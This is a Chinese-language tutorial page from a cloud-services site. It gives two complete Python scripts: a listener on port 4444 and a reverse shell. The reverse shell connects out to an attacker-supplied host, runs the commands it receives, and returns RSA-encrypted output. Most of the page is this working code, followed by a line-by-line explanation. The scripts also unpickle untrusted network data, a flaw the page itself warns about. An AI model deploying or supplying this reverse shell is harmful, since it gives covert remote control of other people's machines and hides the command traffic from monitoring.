溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何使用RSA加密在Python中逆向shell

發(fā)布時間:2021-08-30 22:28:40 來源:億速云 閱讀:197 作者:chen 欄目:網(wǎng)絡(luò)安全

本篇內(nèi)容主要講解“如何使用RSA加密在Python中逆向shell”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何使用RSA加密在Python中逆向shell”吧!

使用RSA加密在Python中逆向shell

首先,我們需要一個偵聽器來處理所有傳入的連接。 這是listener_rsa.py的代碼

#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().read
key = RSA.generate(2048, random_generator)
public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
    s.bind(("0.0.0.0", 4444))except socket.error, v:
    print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
    sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) :    client.send(pickle.dumps(public_key))def clienthandle(client) :    while True :
        command = raw_input('~$ ')
        client.send(command)
        if command == 'quit' :
           break        buf = client.recv(2048)
        encreply = pickle.loads(buf)
        print key.decrypt(encreply)while True:
    (client, (ip, port)) = s.accept()
    print "Received connection from : ", ip
    start_new_thread(clientthread_sendpublickey, (client,))
    print "Public Key sent to", ip
start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模塊進行加密。 繼續(xù)安裝它。 我建議使用pip來安裝模塊。

$ sudo pip install pycrypto

在我們進入代碼之前,讓我向你解釋一下RSA加密及其密鑰。 RSA是一種非對稱加密標準。 它有兩個鍵,公共和私有。 簡單來說,公鑰用于加密消息,私鑰用于解密。 下面是描述該過程的框圖

如何使用RSA加密在Python中逆向shell

如果你對RSA的數(shù)學工作感興趣,那么我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)

在上面的程序中,首先生成密鑰,該密鑰也是私鑰。

key = RSA.generate(2048, random_generator)

函數(shù)RSA.generate有兩個參數(shù),第一個是以位為單位的密鑰的大小,第二個是通常使用python隨機函數(shù)生成的隨機數(shù)。 在創(chuàng)建私鑰之后,從中提取公鑰并將其存儲在變量中以供將來使用。

public_key = key.publickey()

使用套接字模塊創(chuàng)建套接字,這相對簡單。 你可以參考Python套接字1的官方文檔,甚至可以進行簡單的Google搜索。

套接字綁定并等待連接傳入連接。

注 - 如果要將Linux中的套接字綁定到小于1024的端口,則必須以root身份執(zhí)行該腳本。

當收到連接時,初始化新線程以將生成的公鑰發(fā)送到客戶端,以便它可以加密回復(fù)。

def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))

我們?yōu)槭裁匆肞ickle? Pickle用于序列化和反序列化python對象。 由于public_key不是常規(guī)字符串,因此必須對其進行pickle,然后將其發(fā)送到接收方。

警告 - pickle模塊不能防止錯誤或惡意構(gòu)造的數(shù)據(jù)。 切勿取消從不受信任或未經(jīng)身份驗證的來源收到的數(shù)據(jù)。

一旦發(fā)送了公鑰,另一個線程clienthandle(客戶端)被初始化為True:loop,它發(fā)送給接收者的命令。 接收器運行命令并使用公鑰加密輸出。 然后將輸出的pickle發(fā)送給監(jiān)聽器。

回復(fù)是unpickled,使用私鑰解密并打印在屏幕上。

encreply = pickle.loads(buf)print key.decrypt(encreply)

如果給出'quit'命令,則終止連接。

反向shell

讓我們轉(zhuǎn)到反向shell所在的接收器端。 reverse_shell_rsa的腳本如下所示

#!/usr/bin/pythonimport socket, subprocess, sys
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1]
RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))def receive_key():   data_key = s.recv(1024)
   return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)
while True :    command = s.recv(1024)
    if command == 'quit' :
         break
    reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout, stderr = reply.communicate()
    en_reply = public_key.encrypt(stdout, 32)
    s.send(pickle.dumps(en_reply))

s.close()

一如既往,導入必要的模塊。 要連接的IP地址作為參數(shù)提供,并存儲在RHOST變量中。 創(chuàng)建套接字并與服務(wù)器(偵聽器)建立連接。 一旦接受連接,服務(wù)器就會發(fā)送公鑰(在listener.py腳本中向上滾動到clientthread_sendpublickey()),該公鑰通過函數(shù)receive_key()接收并去除(記住pickling?)以獲取公鑰。

def receive_key():data_key = s.recv(1024)return data_key

pickled_publickey = receive_key()
public_key = pickle.loads(pickled_publickey)

一段時間初始化True循環(huán)以保持連接的持久性并接收命令。 如果命令是“退出”,則節(jié)目結(jié)束。 否則,給定的命令作為子進程和標準輸出運行,標準錯誤通過管道傳遞給變量'reply'。 然后使用公鑰對標準輸出進行加密,pickling并發(fā)送到服務(wù)器。

en_reply = public_key.encrypt(stdout, 32)
s.send(pickle.dumps(en_reply))

然后耐心等待,直到下一個命令。

到此,相信大家對“如何使用RSA加密在Python中逆向shell”有了更深的了解,不妨來實際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進入相關(guān)頻道進行查詢,關(guān)注我們,繼續(xù)學習!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI